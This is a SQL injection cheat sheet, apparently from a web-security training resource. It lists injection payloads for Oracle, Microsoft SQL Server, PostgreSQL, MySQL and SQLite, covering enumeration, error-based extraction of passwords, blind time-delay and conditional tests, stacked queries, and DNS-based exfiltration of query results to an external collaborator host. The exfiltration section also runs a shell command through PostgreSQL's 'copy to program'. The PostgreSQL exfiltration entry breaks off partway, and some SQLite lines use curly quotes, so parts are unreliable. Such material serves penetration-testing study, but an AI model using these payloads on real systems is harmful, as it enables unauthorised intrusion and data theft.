Table of Contents
This SQL injection cheat sheet contains examples of useful syntax that you can use to perform a variety of tasks that often arise when performing SQL injection attacks.
String concatenation
You can concatenate together multiple strings to make a single string.
Oracle | 'foo'||'bar' |
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Microsoft | 'foo'+'bar' |
PostgreSQL | 'foo'||'bar' |
MySQL | 'foo' 'bar' [Note the space between the two strings]CONCAT('foo','bar') |
SQLite | 'foo'||'bar' |
Substring
You can extract part of a string, from a specified offset with a specified length. Note that the offset index is 1-based. Each of the following expressions will return the string ba
.
Oracle | SUBSTR('foobar', 4, 2) |
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Microsoft | SUBSTRING('foobar', 4, 2) |
PostgreSQL | SUBSTRING('foobar', 4, 2) |
MySQL | SUBSTRING('foobar', 4, 2) |
SQLite | SUBSTRING('foobar', 4, 2) |
Comments
You can use comments to truncate a query and remove the portion of the original query that follows your input.
Oracle | --comment |
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Microsoft | --comment |
PostgreSQL | --comment |
MySQL | #comment -- comment [Note the space after the double dash]/*comment*/ |
SQLite | --comment or /*comment*/ |
Database version
You can query the database to determine its type and version. This information is useful when formulating more complicated attacks.
Oracle | SELECT banner FROM v$version |
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Microsoft | SELECT @@version |
PostgreSQL | SELECT version() |
MySQL | SELECT @@version |
SELECT sqlite_version() |
Database contents
You can list the tables that exist in the database, and the columns that those tables contain.
Oracle | SELECT * FROM all_tables |
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Microsoft | SELECT * FROM information_schema.tables |
PostgreSQL | SELECT * FROM information_schema.tables |
MySQL | SELECT * FROM information_schema.tables |
SQLite | SELECT name FROM sqlite_master WHERE type=’table’ PRAGMA table_info(‘TABLE-NAME-HERE’) |
Conditional errors
You can test a single boolean condition and trigger a database error if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual |
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Microsoft | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) |
MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') |
SQLite | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END |
Extracting data via visible error messages
You can potentially elicit error messages that leak sensitive data returned by your malicious query.
Microsoft | SELECT 'foo' WHERE 1 = (SELECT 'secret') |
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PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) |
MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) |
SQLite | SELECT 1 WHERE (SELECT load_extension(”)) AND (SELECT name FROM sqlite_master WHERE type=’table’ AND tbl_name=’users’); — Error: no such module: secret |
Batched (or stacked) queries
You can use batched queries to execute multiple queries in succession. Note that while the subsequent queries are executed, the results are not returned to the application. Hence this technique is primarily of use in relation to blind vulnerabilities where you can use a second query to trigger a DNS lookup, conditional error, or time delay.
Oracle | Does not support batched queries. |
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Microsoft | QUERY-1-HERE; QUERY-2-HERE |
PostgreSQL | QUERY-1-HERE; QUERY-2-HERE |
MySQL | QUERY-1-HERE; QUERY-2-HERE |
SQLite | SQLite does not support multiple statements separated by semicolons within a single query execution. |
Note
With MySQL, batched queries typically cannot be used for SQL injection. However, this is occasionally possible if the target application uses certain PHP or Python APIs to communicate with a MySQL database.
Time delays
You can cause a time delay in the database when the query is processed. The following will cause an unconditional time delay of 10 seconds.
Oracle | dbms_pipe.receive_message(('a'),10) |
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Microsoft | WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT pg_sleep(10) |
MySQL | SELECT SLEEP(10) |
SQLite | SQLite does not support time delay functions natively. Time delays can be simulated in specific implementations, such as custom functions or certain application-level controls |
Conditional time delays
You can test a single boolean condition and trigger a time delay if the condition is true.
Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'||dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual |
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Microsoft | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' |
PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END |
MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') |
SQLite | Conditional time delays are not supported natively. |
DNS lookup
You can cause the database to perform a DNS lookup to an external domain. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to confirm that a DNS lookup occurred.
Oracle | (XXE) vulnerability to trigger a DNS lookup. The vulnerability has been patched but there are many unpatched Oracle installations in existence:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual The following technique works on fully patched Oracle installations, but requires elevated privileges: SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') |
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Microsoft | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' |
PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' |
MySQL | The following techniques work on Windows only:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |
SQLite | DNS lookups are not natively supported in SQLite. |
DNS lookup with data exfiltration
You can cause the database to perform a DNS lookup to an external domain containing the results of an injected query. To do this, you will need to use Burp Collaborator to generate a unique Burp Collaborator subdomain that you will use in your attack, and then poll the Collaborator server to retrieve details of any DNS interactions, including the exfiltrated data.
Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'||(SELECT YOUR-QUERY-HERE)||'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
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Microsoft | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') |
PostgreSQL | create OR replace function f() returns void as $$ |
MySQL | The following technique works on Windows only:SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' |